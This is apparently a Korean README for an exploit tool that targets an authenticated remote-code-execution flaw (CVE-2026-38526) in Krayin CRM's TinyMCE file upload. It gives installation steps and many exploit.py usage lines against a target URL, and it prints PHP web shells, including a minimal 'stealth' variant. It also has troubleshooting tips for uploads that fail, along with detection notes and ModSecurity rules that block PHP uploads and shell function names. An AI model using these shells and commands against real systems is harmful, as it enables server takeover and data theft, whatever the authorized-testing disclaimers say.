
CVE-2026-38526 익스플로잇 for Krayin CRM v2.2.x - TinyMCE 파일 업로드 우회를 통한 인증된 RCE. 대화형 셸, 다중 유형 페이로드, 자동 셸 생성 및 검증 기능 제공. 작성자: Sudeepa Wanigarathna. 승인된 테스트 전용입니다.
⚠️ 승인된 보안 테스트 전용 - 무단 사용은 불법이며 비윤리적입니다.
이 익스플로잇 도구는 Krayin CRM 버전 2.2.x에서 발견된 중요 인증된 원격 코드 실행(RCE) 취약점을 시연합니다. 이 취약점은 TinyMCE 파일 업로드 기능에 존재하며, 인증된 관리자가 서버에 임의의 PHP 코드를 업로드하고 실행할 수 있게 합니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-38526 |
| 영향받는 소프트웨어 | Krayin CRM v2.2.x |
| 취약점 유형 | 인증된 원격 코드 실행(RCE) |
| 인증 필요 | 예 (관리자 수준 접근) |
| 영향 | 전체 시스템 장악 |
| CVSS 점수 | 8.8 (높음) |
이 취약점은 TinyMCE 파일 업로드 엔드포인트(/admin/tinymce/upload)에서 파일 유형 검증이 충분하지 않아 발생합니다. 인증된 관리자는 다음을 수행할 수 있습니다:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [옵션]
# 생성된 쉘을 이용한 기본 익스플로잇
python3 exploit.py -t http://target.com -u [email protected] -p password
# 사용자 정의 PHP 쉘 파일 업로드
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# 대화형 모드의 고급 쉘 생성
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# 익스플로잇 없이 쉘 파일만 생성
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# 테스트/디버깅용 프록시 사용
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# 자동화를 위한 JSON 출력
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# 사용자 정의 시간 초과를 포함한 자세한 모드
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# 사용자 정의 User-Agent 및 헤더
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
기본 쉘 (basic)
system() 함수를 사용한 간단한 명령 실행.
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
고급 쉘 (advanced)
다양한 기능을 갖춘 쉘:
최소 쉘 (minimal)
은밀성을 위한 최소한의 크기.
<?php system($_GET["cmd"]); ?>
파일 관리자 (file_manager)
완전한 파일 관리 인터페이스:
사용자 정의 쉘 (custom)
-f 매개변수로 자신의 PHP 쉘 파일을 사용합니다.
대화형 사용에 적합한 사람이 읽을 수 있는 색상 출력.
-o json)자동화 및 통합을 위한 기계 판독 가능 형식.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)오류를 제외한 모든 출력을 생략합니다. 배치 처리에 유용합니다.
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
모니터링할 파일:
public/storage/upload/ 디렉터리의 의심스러운 PHP 파일image.php.jpg)확인할 로그:
/admin/tinymce/upload POST 요청시스템 지표:
즉시 조치:
# 패치 버전으로 업데이트
composer update krayin/crm
# 관리자 접근 임시 비활성화
# 불필요한 관리자 계정 제거
# 모든 관리자 비밀번호 변경
파일 업로드 강화:
// 확장자가 아닌 내용으로 파일 유형 검증
// 콘텐츠 보안 정책 구현
// 웹 애플리케이션 방화벽(WAF) 사용
// 파일 업로드 스캔 활성화
접근 제어:
# .htaccess에서 관리자 IP 제한
# 관리자 계정에 MFA 구현
# 정기적인 관리자 감사
# 세션 시간 초과 정책
WAF 규칙 (ModSecurity):
# 의심스러운 파일 업로드 차단
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# 웹 쉘 차단
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
이 취약점은 책임 있는 보안 연구를 통해 발견되었습니다. 공개 프로세스는 다음 단계를 따릅니다:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
문제: 인증 실패
/admin/login인지 확인문제: 파일 업로드 실패
문제: 쉘이 명령을 실행하지 않음
php.ini에서 PHP 함수가 비활성화되지 않았는지 확인echo test와 같은 간단한 명령으로 테스트문제: SSL 인증서 오류
--verify-ssl 플래그를 사용하거나 확인 비활성화# 자세한 로깅 활성화
python3 exploit.py -t http://target.com -u admin -p pass -v
# 프록시 사용 (Burp Suite 등)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
기여를 환영합니다! 다음 사항을 확인해 주세요:
이 도구가 보안 연구에 유용하다고 생각하시면 다음을 고려해 주세요:
보안 연구를 위해 ❤️로 제작됨
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 지식을 현명하게 사용하세요!
# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# Options:
# -f FILE Upload custom shell
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Interactive mode
# --proxy URL HTTP proxy
# -v Verbose output
# -o json JSON output
# --generate-only Create shell without exploiting
# --timeout SEC Request timeout
# --retry N Retry count
# --user-agent UA Custom User-Agent
# --header "K: V" Custom headers
# --verify-ssl Verify SSL certificates
# -q, --quiet Suppress output
🔒 기억하세요: 시스템을 테스트하기 전에 항상 서면 허가를 받으세요!
| 매개변수 | 설명 |
|---|
-t, --target | 대상 URL (예: http://192.168.1.100) |
-u, --username | 관리자 사용자명 또는 이메일 |
-p, --password | 관리자 비밀번호 |
| 옵션 | 설명 | 기본값 |
|---|
--timeout | 요청 시간 초과(초) | 30 |
--retry | 재시도 횟수 | 3 |
--retry-delay | 재시도 간 지연(초) | 2 |
--user-agent | 사용자 정의 User-Agent 문자열 | 기본 브라우저 UA |
--header | 사용자 정의 HTTP 헤더 (키: 값) | 없음 |
--verify-ssl | SSL 인증서 확인 | False |
--proxy | HTTP/HTTPS 프록시 URL | 없음 |
-v, --verbose | 디버그 출력 활성화 | False |
-q, --quiet | 모든 출력 생략 | False |